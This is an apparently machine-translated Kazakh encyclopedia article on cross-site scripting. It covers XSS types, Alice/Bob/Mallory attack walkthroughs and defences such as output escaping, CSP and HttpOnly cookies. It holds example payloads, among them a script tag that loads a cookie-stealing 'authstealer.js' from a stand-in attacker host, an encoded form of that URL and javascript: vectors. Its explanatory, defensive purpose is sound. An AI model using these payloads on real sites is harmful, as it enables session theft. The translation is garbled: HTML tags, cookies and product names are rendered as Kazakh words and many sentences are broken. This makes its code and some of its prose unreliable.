Сайт аралық сценарий - Cross-site scripting

Сайт аралық сценарий (XSS) - бұл қауіпсіздік түрі осалдық әдетте табылған веб-қосымшалар. XSS шабуылдары шабуылдаушыларға мүмкіндік береді инъекция клиенттік сценарийлер басқа қолданушылар қарайтын веб-беттерге. Шабуыл жасаушылар сценарийлердің осалдығын айналып өту үшін қолдануы мүмкін қатынасты басқару сияқты бір текті саясат. Сайтаралық сценарий орындалды веб-сайттар құжатталған барлық осалдықтардың шамамен 84% құраған Symantec 2007 жылға дейін.[1] XSS әсерлері осал сайт өңдейтін деректердің сезімталдығына және сайт иесі іске асыратын кез-келген қауіпсіздікті азайту сипатына байланысты ұнамсыздықтан маңызды қауіпсіздік тәуекеліне дейін өзгереді. желі.

Фон

Вебтегі қауіпсіздік әр түрлі механизмдерге, соның ішінде түпнұсқалық саясат деп аталатын сенім тұжырымдамасына байланысты. Бұл егер бір сайттың мазмұны болса (мысалы.) https://mybank.example1.comа) ресурстарға (печенье және т.б. сияқты) қол жеткізуге рұқсат беріледі веб-шолғыш, содан кейін бірдей (1) URI схемасы, (2) хост атауы бар кез-келген URL-дан мазмұн, және (3) порт нөмірі осы рұқсаттарды бөліседі. Осы үш төлсипаттың кез-келгені өзгеше болатын URL мекенжайларынан алынған мазмұнға рұқсаттар бөлек берілуі керек.[2]

Сайт аралық сценарий шабуылдары веб-қосымшаларда, олардың серверлерінде немесе олар сенетін қосылатын модуль жүйелерінде белгілі осалдықтарды пайдаланады. Бұлардың бірін пайдаланып, шабуылдаушылар зиянды мазмұнды бүлінген сайттан жеткізілетін мазмұнға бүктейді. Алынған біріктірілген мазмұн клиенттік веб-шолғышқа келгенде, барлығы сенімді көзден жеткізіліп, сол жүйеге берілген рұқсаттар бойынша жұмыс істейді. Веб-беттерге зиянды сценарийлерді енгізу тәсілдерін таба отырып, шабуылдаушы құпия парақ мазмұнына, сеанс-кукиге және пайдаланушы атынан шолғышта сақталатын басқа да ақпаратқа қол жеткізу артықшылықтарын ала алады. Сценарийлердің сайт аралық шабуылдары жағдай болып табылады код инъекциясы.

Microsoft қауіпсіздік инженерлері «сайт аралық сценарий» терминін 2000 жылдың қаңтарында енгізді.[3] «Сайт аралық сценарий» сөзі бастапқыда шабуылдалған, үшінші тараптың веб-қосымшасын байланыссыз шабуыл сайтынан жүктеу әрекетін, фрагментін орындайтын тәсілмен сілтеме жасайды. JavaScript шабуылдаушы қауіпсіздік мәнмәтіні мақсатты доменнің (артықшылықтарын пайдалана отырып шағылысқан немесе табанды емес XSS осалдығы). Анықтама біртіндеп кеңейтіліп, тұрақты және JavaScript емес векторларды қоса алғанда, кодты енгізудің басқа режимдерін қамтыды (соның ішінде ActiveX, Java, VBScript, Жарқыл, немесе тіпті HTML өрісіне жаңадан келгендерге түсініксіз жағдай туғызатын сценарийлер) ақпараттық қауіпсіздік.[4]

XSS осалдықтары туралы есептер 1990-шы жылдардан бері пайда болды. Бұрын зардап шеккен көрнекті сайттарға әлеуметтік желілер кіреді Twitter,[5]Facebook,[6]Менің орным, YouTube және Orkut.[7][8] Сценарийлердің сценарийлеріндегі кемшіліктер содан кейін асып түсті буфер толып кетеді ең көп таралған қауіпсіздік осалдығына айналу,[9] 2007 жылы кейбір зерттеушілердің бағалауы бойынша веб-сайттардың 68% -ы XSS шабуылдарына ашық болуы мүмкін.[10]

Түрлері

Сценарийлерде сценарийлердің бірыңғай стандартталған классификациясы жоқ, бірақ сарапшылардың көпшілігі XSS кемшіліктерінің кем дегенде екі негізгі дәмін ажыратады: табанды емес және табанды. Кейбір дереккөздер осы екі топты одан әрі бөледі дәстүрлі (сервер жағындағы код ақауларынан туындаған) және DOM - негізделген (клиенттік кодта).

Тұрақты емес (шағылыстырылған)

Тұрақты емес XSS ақауының мысалы
Google-дегі тұрақты XSS осалдықтары зиянды сайттардың кіру кезінде кірген Google пайдаланушыларына шабуыл жасауына мүмкіндік беруі мүмкін.[11]

The табанды емес (немесе шағылысқан) сайт аралық сценарийлердің осалдығы - бұл веб-осалдықтардың ең қарапайым түрі.[12] Бұл тесіктер веб-клиент ұсынатын деректер, әдетте HTTP сұранысының параметрлерінде (мысалы, HTML формасын жіберу) серверлік сценарийлермен дереу пайдаланылған кезде және сол пайдаланушыға арналған нәтижелер парағын талдау және көрсету үшін пайдаланылған кезде пайда болады. зарарсыздандыру мазмұны.[13]

HTML құжаттарында басқару мәлімдемелерін, пішімдеуді және нақты мазмұнды араластыратын тегіс, сериялық құрылым болғандықтан, тиісті HTML кодтауынсыз алынған параққа енгізілген кез-келген тексерілмеген пайдаланушының деректері, түзетулер енгізуге әкелуі мүмкін.[12][13] Потенциалды вектордың классикалық мысалы - сайт іздеу жүйесі: егер біреу жол іздесе, іздеу жолы ізделген нәрсені көрсету үшін нәтижелер бетінде сөзбе-сөз қайта көрсетіледі. Егер бұл жауап дұрыс болмаса қашу немесе HTML басқару символдарынан бас тарту, сайт аралық сценарийлердің қателігі пайда болады.[14]

Шағылысқан шабуыл әдетте электрондық пошта немесе бейтарап веб-сайт арқылы жеткізіледі. Жем - бұл сенімді сайтқа бағытталған, бірақ құрамында XSS векторы бар бейкүнә URL мекенжайы. Егер сенімді сайт векторға осал болса, сілтемені басу жәбірленушінің браузеріне енгізілген сценарийді орындай алады.

Тұрақты (немесе сақталған)

Тұрақты XSS кемістігінің мысалы
Табанды аймақтық сценарий осалдығы а компьютерлік құрт QuickTime фильмі арқылы ерікті кодты орындауға және файлдық жүйенің мазмұнын тізімдеуге мүмкіндік берді Менің орным.[15]

The табанды (немесе сақталған) XSS осалдығы - бұл сайт аралық сценарийлердегі кемшіліктердің жойқын нұсқасы: ол шабуылдаушы берген деректерді сервер сақтаған кезде, содан кейін тұрақты қарау кезінде басқа пайдаланушыларға қайтарылған «қалыпты» беттерде тұрақты көрсетілгенде пайда болады. , HTML дұрыс қашпай. Мұның классикалық мысалы - пайдаланушыларға HTML форматындағы хабарламаларды басқа пайдаланушылардың оқуы үшін орналастыруға рұқсат етілген онлайн хабарлама тақталарында.[13]

Мысалы, танысу веб-сайты бар делік, онда мүшелер басқа мүшелердің профильдерін қызықты болып көрінетіндігін тексереді. Құпиялылық үшін бұл сайт барлығының шын аты-жөнін және электрондық поштасын жасырады. Бұлар серверде құпия сақталады. Мүшенің нақты аты және электрондық пошта браузерде мүше болған кезде болады кірді және олар басқа біреуді көре алмайды.

Шабуылдаушы Мэллори сайтқа қосылып, ол сайтта көретін адамдардың нақты есімдерін анықтағысы келеді делік. Ол үшін ол басқа қолданушылардың браузерлерінен қашан жұмыс істеуге арналған сценарий жазады олар сапар ол профиль. Содан кейін сценарий осы ақпаратты жинайтын өзінің серверіне жылдам хабарлама жібереді.

Ол үшін «Өзіңіздің бірінші идеалды күніңізді сипаттаңыз» деген сұраққа Мэллори қысқа жауап береді (қалыпты болып көрінеді), бірақ жауаптың соңындағы мәтін оның аттары мен электрондық пошталарын ұрлауға арналған сценарийі болып табылады. Егер сценарий а ішінде орналасқан болса <script> элемент, ол экранда көрсетілмейді. Содан кейін, танысу сайтының мүшесі Боб Мэллоридің профиліне жетеді делік, ол бірінші кездесу туралы сұраққа жауап береді. Оның сценарийі автоматты түрде браузерде іске қосылады және Бобтың нақты аты мен электрондық поштасының көшірмесін тікелей өз машинасынан ұрлайды.

Тұрақты XSS осалдықтары басқа түрлерге қарағанда едәуір маңызды болуы мүмкін, себебі шабуылдаушының зиянды сценарийі автоматты түрде құрбандарға жеке мақсат қоюдың немесе оларды үшінші тараптың веб-сайтына тартудың қажеті жоқ. Атап айтқанда, әлеуметтік желі сайттарында бұл код клиенттің түрін құра отырып, аккаунттар бойынша өзін-өзі таратуға арналған. құрт.[16]

Инъекция әдістері әртүрлі болуы мүмкін; кейбір жағдайларда шабуылдаушыға мұндай тесігін пайдалану үшін веб-функцияның өзімен тікелей әрекеттесу қажет болмауы да мүмкін. Шабуылдаушы басқара алатын веб-қосымшаның кез-келген деректері (электрондық пошта, жүйелік журналдар, ЖЖ және т.б. арқылы) инъекция векторына айналуы мүмкін.

DOM-қа негізделген осалдықтарға қарсы сервер жағында

DOM негізіндегі XSS ақауының мысалы
Қате шешілмес бұрын, Bugzilla қателіктері туралы беттер ашық болды DOM ерікті HTML және сценарийлерді енгізуге болатын XSS шабуылдары, мәжбүрлі қателік туралы хабарламалар көмегімен.[17]

Тарихи түрде XSS осалдықтары алдымен сервер жағында барлық деректерді өңдеуді жүзеге асыратын қосымшаларда табылған. Пайдаланушы енгізуі (соның ішінде XSS векторы) серверге жіберіліп, содан кейін веб-парақ ретінде пайдаланушыға жіберіледі. Жақсартылған пайдаланушылық тәжірибеге деген қажеттілік презентация логикасының көп бөлігі бар қосымшалардың танымал болуына әкелді (мүмкін олар жазылған) JavaScript ) клиенттің көмегімен жұмыс істейді, ол серверден деректерді сұраныс бойынша шығарады AJAX.

JavaScript коды сонымен қатар пайдаланушының енгізілімін өңдеп, оны веб-парақтың мазмұнына енгізгендіктен, XSS шабуылдарының шағылысқан жаңа кіші класы пайда бола бастады. DOM - сайтаралық сценарий. DOM негізіндегі XSS шабуылында зиянды деректер веб-серверге тимейді. Керісінше, ол JavaScript кодымен толықтай клиент жағында көрінеді.[18]

DOM негізіндегі XSS осалдығының мысалы ретінде 2011 жылы табылған қателіктерді атауға болады jQuery плагиндер.[19] DOM-қа негізделген XSS шабуылдарының алдын алу стратегиялары дәстүрлі XSS алдын-алу стратегияларына өте ұқсас, бірақ іске асырылған JavaScript код және веб-беттерде қамтылған (яғни кірісті тексеру және қашу).[20] Кейбіреулер JavaScript жақтаулары мысалы, шабуылдың басқа түрлеріне қарсы қарсы шаралар бар - мысалы Angular.js.[21]

Self-XSS

Self-XSS - бұл XSS осалдығының бір түрі әлеуметтік инженерия құрбанды өз браузеріне зиянды JavaScript кодын енгізуге алдау үшін. Техникалық тұрғыдан ол XSS осалдығы болып табылмаса да, ол шабуылдаушыға мүмкіндік беретін веб-сайттағы ақаулықтан гөрі пайдаланушының кодын орындау үшін әлеуметтік инженерияға негізделгеніне қарамастан, ол әдеттегі XSS осалдығымен бірдей тәуекелдерді тудырады, егер дұрыс орындалды.[22]

Мутацияланған XSS (mXSS)

Мутацияланған XSS шабуылдаушы қауіпсіз болып көрінетін, бірақ браузерде қайта жазылған және өзгертілген затты енгізген кезде, белгілеуді талдау кезінде болады. Бұл веб-сайттардың қосымшасының логикасын анықтауды немесе зарарсыздандыруды өте қиын етеді, мысалы, жабық тырнақша балансын қайта теңдестіру немесе тіпті CSS қаріптер тобына параметрлер бойынша тырнақшаға алынбаған параметрлерге тырнақша қосу.

Мысалдарды пайдаланыңыз

Тораптар аралық сценарийлердің осалдығын пайдаланғысы келетін шабуылдаушылар осалдықтың әр класына әр түрлі қарауы керек. Әр сынып үшін нақты шабуыл векторы осында сипатталған. Төмендегі аттар мына жерден алынған техникалық терминдер Элис пен Боб кейіпкерлер құрамы әдетте компьютер қауіпсіздігінде қолданылады.

The Браузерді пайдалану шеңбері веб-сайтқа және пайдаланушының жергілікті ортасына шабуыл жасау үшін қолданылуы мүмкін.

Табанды емес

  1. Элис Боб орналастыратын белгілі бір веб-сайтқа жиі кіреді. Бобтың веб-сайты Элиске пайдаланушы аты / пароль жұбымен кіруге мүмкіндік береді және есепшот туралы ақпарат сияқты құпия деректерді сақтайды. Пайдаланушы кірген кезде, браузер кейбір кездейсоқ таңбаларға ұқсайтын авторизациялау кукиін сақтайды, сондықтан екі компьютерде де (клиент пен серверде) ол кірген жазба болады.
  2. Мэллори Бобтың веб-сайтында XSS көрсетілген осалдығы бар екенін байқады:
    1. Іздеу парағына кірген кезде, ол іздеу өрісіне іздеу терминін енгізіп, жіберу түймесін басады. Егер нәтиже табылмаса, парақта ол іздеген термин пайда болады, содан кейін «табылмады» деген сөздер пайда болады және URL мекенжайы http://bobssite.org/search?q=her%20search%20term.
    2. «Сөзі сияқты қалыпты іздеу сұранысы баркүшіктер«, парақ жай көрсетіледі»күшіктер табылмады «және URL мекен-жайы» http://bobssite.org/search? q = күшіктер«- бұл қалыпты мінез-құлық.
    3. Алайда, ол әдеттен тыс іздеу сұрауын жібергенде, «<сценарий түрі='application / javascript'>ескерту('xss');</сценарий>",
      1. Ескерту терезесі пайда болады («xss» деп жазылған).
      2. Парақта «xss» мәтіні бар қате туралы хабармен бірге «табылмады» көрсетіледі.
      3. Url «http://bobssite.org/search? q = alert ('xss'); - бұл қанаушылық мінез-құлық.
  3. Mallory осалдықты пайдалану үшін URL жасайды:
    1. Ол URL жасайды http://bobssite.org/search? q = күшіктер <сценарий% 20src = «http://mallorysevilsite.com/authstealer.js»>. Ол кодтауды таңдай алады ASCII таңбалары бар пайыздық кодтау, сияқты http://bobssite.org/search? q = күшіктер% 3Cscript% 2520src% 3D% 22http% 3A% 2F% 2Fmallorysevilsite.com% 2Fauthstealer.js% 22% 3E% 3C% 2Fscript% 3E, сондықтан оқырмандар зиянды URL мекен-жайын дереу шеше алмайды.[23]
    2. Ол Bob сайтының күдікті мүшелеріне «Сүйкімді күшіктерді тексеріп алыңыз!» Деп электронды хат жібереді.
  4. Алис электрондық поштаны алады. Ол күшіктерді жақсы көреді және сілтемені басады. Ол іздеу үшін Бобтың веб-сайтына кіреді, ештеңе таппайды және «күшіктерді таппайды» көрсетеді, бірақ дәл ортасында сценарий тегі іске қосылады (ол экранда көрінбейді) және Mallory бағдарламасын authstealer.js жүктейді және іске қосады (іске қосу) XSS шабуыл). Алиса бұл туралы ұмытады.
  5. Authstealer.js бағдарламасы Бобтың веб-сайтынан шыққан сияқты, Элис браузерінде жұмыс істейді. Ол Alice's Authorization Cookie файлының көшірмесін алады және Mallory серверіне жібереді, Mallory оны алады.
  6. Мэлори енді Алисстің авторизациялау кукиін өзінің браузеріне өзі сияқты орналастырады. Содан кейін ол Бобтың сайтына кіріп, енді Алис ретінде кірді.
  7. Енді ол кіргеннен кейін, Мэллори веб-сайттың «Биллинг» бөліміне кіріп, Алисаны іздейді Несиелік Карта Нөмірі және көшірмесін алады. Содан кейін барып, Алиса енді жүйеге кіре алмайтындай етіп паролін өзгертеді.
  8. Ол бұдан әрі қарай қадам жасауды шешеді және Бобтың өзіне ұқсас жасалған сілтемені жібереді, осылайша Бобтың веб-сайтына әкімші артықшылықтарын алады.

Бұл шабуылды жеңілдету үшін бірнеше нәрсе жасалуы мүмкін еді:

  1. Іздеу кірісі болуы мүмкін тазартылған оған дұрыс кодтауды тексеру кіреді.
  2. Веб-серверді орнатуға болады қайта бағыттау жарамсыз өтініштер.
  3. Веб-сервер бір уақытта кіруді анықтап, сеанстарды жарамсыз етуі мүмкін.
  4. Веб-сервер екі түрлі IP-мекен-жайдан бір уақытта кіруді анықтап, сеанстарды жарамсыз етуі мүмкін.
  5. Веб-сайтта бұрын қолданылған несиелік картаның соңғы бірнеше саны ғана көрсетілуі мүмкін.
  6. Веб-сайт қолданушыларға тіркелу ақпаратын өзгертпес бұрын құпия сөздерін қайта енгізуді талап етуі мүмкін.
  7. Веб-сайт әртүрлі аспектілерді енгізе алады Мазмұн қауіпсіздігі саясаты.
  8. Кукиді орнатыңыз HttpOnly JavaScript-тен кіруге жол бермейтін жалауша.

Тұрақты шабуыл

  1. Мэллори Бобтың веб-сайтында тіркелгі алады.
  2. Мэллори Бобтың веб-сайтында сақталған XSS осалдығы бар екенін байқады: егер жаңалықтар бөліміне кіріп, түсініктеме жазса, сайт енгізілгеннің барлығын көрсетеді. Егер түсініктеме мәтінінде HTML тегтері болса, олар веб-сайттың қайнар көзіне қосылады; атап айтқанда, кез-келген скрипт тегтері парақ жүктелген кезде жұмыс істейді.
  3. Мэллори Жаңалықтар бөліміндегі мақаланы оқып, түсініктеме енгізеді:
    Мен осы ертегідегі күшіктерді жақсы көремін! Олар өте сүйкімді!<script src="http://mallorysevilsite.com/authstealer.js">
  4. Элис (немесе басқа біреу) парақты түсініктеме арқылы жүктеген кезде, Мэллоридің сценарий тегі іске қосылып, Элис авторизацияланған кукиді ұрлап, оны жинау үшін Мэллоридің құпия серверіне жібереді.[23]
  5. Мэллори енді мүмкін ұрлау Алистің сессиясы және Алиске еліктеу.[24][23]

Бобтың веб-сайтындағы бағдарламалық жасақтама жұмыс істемейтініне көз жеткізу үшін сценарий тегін алып тастауы немесе бірдеңе жасауы керек еді; қауіпсіздік қатесі оның болмауынан тұрады.

Профилактикалық шаралар

Контексттік шығуды кодтау / жолды енгізуден қашу

Мәтінмәндік шығуды кодтау / қашу XSS шабуылдарын тоқтату үшін негізгі қорғаныс механизмі ретінде қолданыла алады. HTML құжатында сенімсіз жолды орналастыру қажет болатын бірнеше қашу схемалары бар, соның ішінде HTML нысанын кодтау, JavaScript қашу, CSS қашу және URL (немесе пайыздық) кодтау.[25] Бай деректерді қабылдаудың қажеті жоқ көптеген веб-қосымшалар XSS шабуылдары қаупін айтарлықтай қарапайым түрде жою үшін қашып кетуді қолдана алады.

Кеңінен ұсынылғанымен, тек HTML кодталуын орындайтын бес XML маңызды таңба XSS шабуылдарының көптеген түрлерінің алдын алу үшін әрдайым жеткіліксіз. Кодтау жиі қиын болғандықтан, қауіпсіздік кодтау кітапханаларын пайдалану әдетте оңайырақ болады.[25]

Кейбіреулер веб-шаблон жүйелері олар шығаратын HTML құрылымын түсініп, тиісті кодерді автоматты түрде таңдайды.[26][27][28]

Сенімсіз HTML енгізілімін қауіпсіз растау

Көптеген веб-қосымшалардың операторлары (мысалы, форумдар мен веб-пошта) пайдаланушыларға HTML белгілеуінің шектеулі ішкі жиынын пайдалануға мүмкіндік береді. Пайдаланушылардан HTML кірісін қабылдау кезінде (айталық, өте үлкен), шығуды кодтау (мысалы & lt; b & gt; өте & lt; / b & gt; үлкен) жеткіліксіз болады, өйткені пайдаланушының кірісі браузерде HTML түрінде көрсетілуі керек (сондықтан ол «түрінде көрінеді»өте « өте үлкен» орнына «үлкен».. HTML кірістерін пайдаланушылардан қабылдау кезінде XSS шабуылын тоқтату бұл жағдайда анағұрлым күрделі. HTML-дің сенімсіз енгізілуін HTML тазарту XSS кодын қамтымайтындығын қамтамасыз ететін қозғалтқыш.

Көптеген тексерулер келесідей HTML тәуекелдерін талдауға (қара тізімге) сүйенеді

<сценарий> <link> <iframe>

Бұл тәсілдің бірнеше мәселелері бар, мысалы, кейде зиянсыз болып көрінетін тегтерді қалдыруға болады, егер оларды дұрыс қолданған кезде XSS пайда болуы мүмкін

(төмендегі мысалды қараңыз)

<имм src=«javascript: ескерту (1)»>

Тағы бір танымал әдіс - бұл пайдаланушының «және» енгізуінен бас тарту, алайда бұл жүктемені жасыруға болатындықтан оны айналып өтуге болады. Дірілдеу (Мұны қараңыз [1] мысалы, сілтеме)

Cookie файлдарының қауіпсіздігі

Мазмұнды сүзуден басқа, сайтаралық сценарийді азайтудың басқа жетілмеген әдістері де қолданылады. Бір мысал - өңдеу кезінде қосымша қауіпсіздік басқару элементтерін қолдану печенье - пайдаланушының түпнұсқалық растамасы. Көптеген веб-қосымшалар жеке HTTP сұраулары арасындағы аутентификация үшін сеанс кукилеріне сүйенеді және клиенттік сценарийлер бұл кукилерге кіре алатындықтан, қарапайым XSS эксплуатациясы бұл кукиді ұрлауы мүмкін.[29] Осы нақты қауіп-қатерді азайту үшін (жалпы XSS проблемасы болмаса да), көптеген веб-қосымшалар бастапқы кірген пайдаланушының IP-мекен-жайына сеанс-кукиді байлайды, содан кейін тек сол IP-ге осы кукиді пайдалануға рұқсат береді.[30] Бұл көптеген жағдайларда тиімді (егер шабуылдаушы тек cookie файлынан кейін болса), бірақ шабуылдаушы дәл сол жерде болған жағдайда бұзылады Табылды IP мекен-жайы немесе веб-прокси жәбірленуші ретінде немесе жәбірленуші өзін өзгертеді мобильді IP.[30]

Келесі жағдайды жеңілдету Internet Explorer (6 нұсқасынан бастап), Firefox (2.0.0.5 нұсқасынан бастап), Сафари (4 нұсқасынан бастап), Опера (9.5 нұсқасынан бастап) және Google Chrome, болып табылады HttpOnly веб-серверге клиенттік сценарийлер үшін қол жетімді емес cookie файлын орнатуға мүмкіндік беретін жалауша. Пайдалы болғанымен, бұл функция куки ұрлаудың алдын ала алмайды және шолғыштағы шабуылдардың алдын ала алмайды.[31]

Сценарийлерді өшіру

Әзірге Web 2.0 және Аякс әзірлеушілер JavaScript қолдануды талап етеді,[32] кейбір веб-қосымшалар кез-келген клиенттік сценарийлерсіз жұмыс істеуге мүмкіндік беру үшін жазылған.[33] Бұл қолданушыларға, егер қаласаңыз, қосымшаны қолданар алдында браузерлерде сценарийді өшіруге мүмкіндік береді. Осылайша, клиент жағында болуы мүмкін зиянды сценарийлерді де параққа кірістірусіз кірістіруге болады, ал пайдаланушылар XSS шабуылдарына ұшырамайды.

Кейбір браузерлерді немесе браузер плагиндерін бір домен негізінде клиенттік сценарийлерді өшіру үшін конфигурациялауға болады. Егер әдепкіде сценарийлерге рұқсат етілсе, бұл тәсіл шектеулі мәнге ие, өйткені ол тек нашар сайттарды блоктайды кейін пайдаланушы олардың жаман екенін біледі, бұл өте кеш. Әдепкі бойынша барлық сценарийлерді және сыртқы қосылымдарды бұғаттайтын, содан кейін пайдаланушыға домен негізінде оны қосуға мүмкіндік беретін функционалдылық тиімдірек. Бұл Internet Explorer-де ұзақ уақыт бойы (4-нұсқадан бастап) «қауіпсіздік аймақтарын» орнату арқылы мүмкін болды,[34] және Opera-да (9-нұсқадан бастап) өзінің «сайттың ерекше артықшылықтарын» қолдана аласыз.[35] Firefox және басқаларына арналған шешім Гекко негізделген шолғыштар - бұл ашық ақпарат көзі NoScript сценарийлерді домен негізінде қосу мүмкіндігіне қосымша, сценарийлер қосылған кезде де кейбір XSS қорғауды қамтамасыз ететін қондырма.[36]

Әдепкі бойынша барлық веб-сайттардағы барлық сценарийлерді бұғаттаудағы ең маңызды мәселе - бұл функционалдылық пен жауаптылықтың айтарлықтай төмендеуі (клиенттік сценарийлер серверлік сценарийлерге қарағанда әлдеқайда жылдам болуы мүмкін, себебі қашықтағы серверге және параққа немесе жақтауға қосылудың қажеті жоқ) қайта жүктеу қажет емес).[37] Сценарийді бұғаттаудағы тағы бір проблема - көптеген қолданушылар оны түсінбейді және өз браузерлерін қалай дұрыс қорғауды білмейді. Тағы бір кемшілігі - көптеген сайттар клиенттік сценарийлерсіз жұмыс істемейді, бұл қолданушыларды осы сайттың қорғанысын өшіруге мәжбүр етеді және олардың жүйелерін осалдықтарға ашады.[38] Firefox NoScript кеңейтімі пайдаланушыларға берілген беттегі сценарийлерге таңдаулы түрде рұқсат беруге мүмкіндік береді, ал басқаларына сол бетте рұқсат етілмейді. Мысалы, example.com сценарийлеріне рұқсат етілуі мүмкін, ал бір бетте жұмыс істеуге тырысып жатқан Advertisingagency.com сценарийлеріне тыйым салынуы мүмкін.[39]

Сценарийлерді таңдаулы түрде өшіру

Мазмұн-қауіпсіздік-саясат[40] (CSP) HTML құжаттарына кейбір сценарийлерді өшіруге мүмкіндік береді, ал басқаларын қосулы қалдырады. Браузер әр сценарийді іске қосу керек пе дегенге дейін саясатпен тексереді. Саясат тек сенімді сценарийлерге рұқсат берсе және тыйым салса ғана динамикалық кодты жүктеу, HTML құжатының құрылымына қарамастан, браузер сенімсіз авторлардың бағдарламаларын іске қоспайды.

Бұл қауіпсіздік жүктемесін саясат авторларына жүктейді. Зерттеулер[41] хосттардың ақ тізіміне негізделген саясаттың тиімділігіне күмән келтірді.

Жалпы, біз сценарийдің орындалуын шектеуге тырысатын саясаттың 94,68% тиімсіз екенін және CSP бар хосттардың 99,34% -ы XSS-тен ешқандай пайда әкелмейтін саясатты қолданатындығын анықтаймыз.

Заманауи[42] CSP ережелері пайдалануға мүмкіндік береді nonces[43] HTML құжатындағы сценарийлерді саясаттың бет мазмұнынан мүлдем бөлек ұстаудың орнына оларды қауіпсіз деп белгілеу. Егер сенімді сценарийлерде тек сенімді сценарийлер пайда болса, браузер сенімсіз авторлардың бағдарламаларын іске қоспайды. Кейбір ірі қосымшалар провайдерлері негізделген емес саясатты сәтті қолданғанын хабарлайды.[44][45]

Дамып келе жатқан қорғаныс технологиялары

Танымал клиент жағында рамкалар шабуылдаушылардың XSS-ті қалай жасайтынын өзгертті.[46]

Сценарий гаджеттері - бұл қосымшаның заңды код базасындағы заңды JavaScript фрагменттері ... Біз бұл гаджеттердің барлық дерлік заманауи JavaScript шеңберлерінде бар екендігін көрсетеміз және өнімді кодта сценарий гаджеттерінің таралуын көрсететін эмпирикалық зерттеу ұсынамыз. Нәтижесінде, біз қазіргі уақытта жазылған веб-қосымшаларда жұмсартуды азайту тәсілдерінің көбін айналып өтуге болады деп санаймыз.

Сенімді түрлері[47] өзгерістер Веб-API мәндердің болғанын тексеру үшін сауда маркасы сенімді ретінде. Бағдарламалар тек сенімді құндылықтарды сауда белгісімен қамтамасыз етсе, JavaScript басқаратын шабуылдаушы жол мәні XSS тудыруы мүмкін емес. Сенімді түрлері болуға арналған тексерілетін арқылы көк командалар.

Тағы бір қорғаныс тәсілі - бұл веб-беттерде XSS зиянды кодын алып тастайтын автоматтандырылған құралдарды пайдалану, бұл құралдарды пайдалану статикалық талдау және / немесе зиянды кодтарды ықтимал анықтау және оларды қашып кету сияқты әдістерді қолдану арқылы сәйкестендіру әдістері.[48]

SameSite кукиінің параметрі

Cookie файлдары SameSite = Strict параметрімен орнатылған кезде, барлық кросс-сұраулардан алынып тасталады. SameSite = Lax параметрімен орнатылған кезде, ол барлық «қауіпсіз» емес, кросс-түпнұсқалық сұраулардан алынып тасталады (яғни, тек оқуға арналған семантикасы бар GET, OPTIONS және TRACE басқа сұраулар).[49] Мүмкіндік жүзеге асырылады Google Chrome 63 нұсқасынан бастап Firefox 60 нұсқасынан бастап.[50]

Байланысты осалдықтар

Ішінде Сайттың әмбебап сценарийі (UXSS, немесе Әмбебап XSS) шабуыл, браузердің өзінде немесе браузердің плагиндерінде осалдықтар қолданылады (басқа веб-сайттардың осалдығына қарағанда, XSS шабуылдарындағыдай).[51][52]

XSS-ке қатысты бірнеше осалдық кластары немесе шабуыл жасау әдістері: аймақтық сценарий белгілі бір браузерлерде «аймақ» ұғымдарын пайдаланады және әдетте үлкен артықшылықты кодты орындайды.[53][54] HTTP тақырыбын инъекциялау HTTP протокол деңгейіндегі проблемалардан қашу салдарынан сайтаралық сценарий шарттарын құру үшін пайдалануға болады (мысалы, шабуылдарды қосуға қосымша) HTTP жауабын бөлу ).[55]

Сайт аралық сұранысты қолдан жасау (CSRF / XSRF) - бұл XSS-ке қарама-қайшы, өйткені пайдаланушының сайтқа деген сенімін пайдаланудың орнына, шабуылдаушы (және оның зиянды парағы) сайттың клиенттің бағдарламалық жасақтамасына деген сенімін пайдаланады, бұл сайт саналы деп санайтын сұраныстар жібереді. аутентификацияланған пайдаланушылардың қасақана әрекеттері.[56] XSS осалдықтары (тіпті сол доменде жұмыс істейтін басқа қосымшаларда да) шабуылдаушыларға CSRF алдын-алу шараларын айналып өтуге мүмкіндік береді.[57]

Жасырын бағыттау XSS немесе Open Redirect шабуылдарына сезімтал үшінші тарап клиенттерінің артықшылықтарын пайдаланады.[58] Қалыпты фишинг әрекеттерін оңай байқауға болады, себебі зиянды беттің URL мекенжайы әдетте нақты сайттың бірнеше хатынан өшіріледі. Жасырын бағыттаудың айырмашылығы - зиянкестер зиянды кіру қалқымалы терезесімен сайтты бүлдіру арқылы оның орнына нақты веб-сайтты қолдана алады.[59]

Соңында, SQL инъекциясы қосымшаның дерекқор деңгейіндегі осалдығын пайдаланады. Пайдаланушының енгізуі дұрыс сүзілмеген кезде кез-келген SQL операторын қосымша орындай алады.[60][61]

Веб-шолғыштың берілген нұсқасына әсер ететін нақты XSS-дер ерекше болады. Демек, XSS-ті браузердің жеткізушісі мен пайдаланушының нұсқасын саусақ ізімен іздеу үшін пайдалануға болады.[62]

Сондай-ақ қараңыз

Әдебиеттер тізімі

  1. ^ 2007 жылдың екінші жартысында XSSed сайттар бойынша 11253 сайттар бойынша осалдықтарды құжаттады, ал Symantec құжаттаған 2144 «дәстүрлі» осалдықтармен салыстырғанда «Symantec Интернет қаупі туралы есеп: 2007 жылғы шілде-желтоқсан айларындағы тенденциялар (қысқаша сипаттама)» (PDF). XIII. Symantec Corp. сәуір 2008: 1-3. Архивтелген түпнұсқа (PDF) 2008 жылы 25 маусымда. Алынған 11 мамыр, 2008. Журналға сілтеме жасау қажет | журнал = (Көмектесіңдер)
  2. ^ «Бірдей шығу саясаты - Веб-қауіпсіздік. W3.org». Алынған 4 қараша, 2014.
  3. ^ MSDN-де «дросс» (15 желтоқсан, 2009). «Сайттың сценарийін құру 10 жасыңыз құтты болсын!». Алынған 19 наурыз, 2016. 16 қаңтар 2000 ж. Microsoft қауіпсіздік инженерлерінің шағын тобы арасында келесі атаулар ұсынылды және олардан секірді: [...] Келесі күні консенсус болды - сайттардың сценарийлері.
  4. ^ Гроссман, Джеремия (30 шілде 2006). «Сайтаралық сценарийдің (XSS) бастаулары». Алынған 15 қыркүйек, 2008.
  5. ^ Артур, Чарльз (21 қыркүйек, 2010 жыл). «Twitter қолданушылары, соның ішінде Сара Браун зиянды хакерлік шабуылға ұшырады». The Guardian. Алынған 21 қыркүйек, 2010.
  6. ^ Лейден, Джон (23 мамыр, 2008). «Facebook-ті XSS қателігі тудырды». Тізілім. Алынған 28 мамыр, 2008.
  7. ^ «Оқиғалардың толық тізімі». Веб-қосымшаның қауіпсіздігі консорциумы. 17 ақпан, 2008 ж. Алынған 28 мамыр, 2008.
  8. ^ Диннан, Ларри (21 сәуір, 2008). «Обама сайты бұзылды; Хиллари Клинтонға бағытталды». ZDNet. Алынған 28 мамыр, 2008.
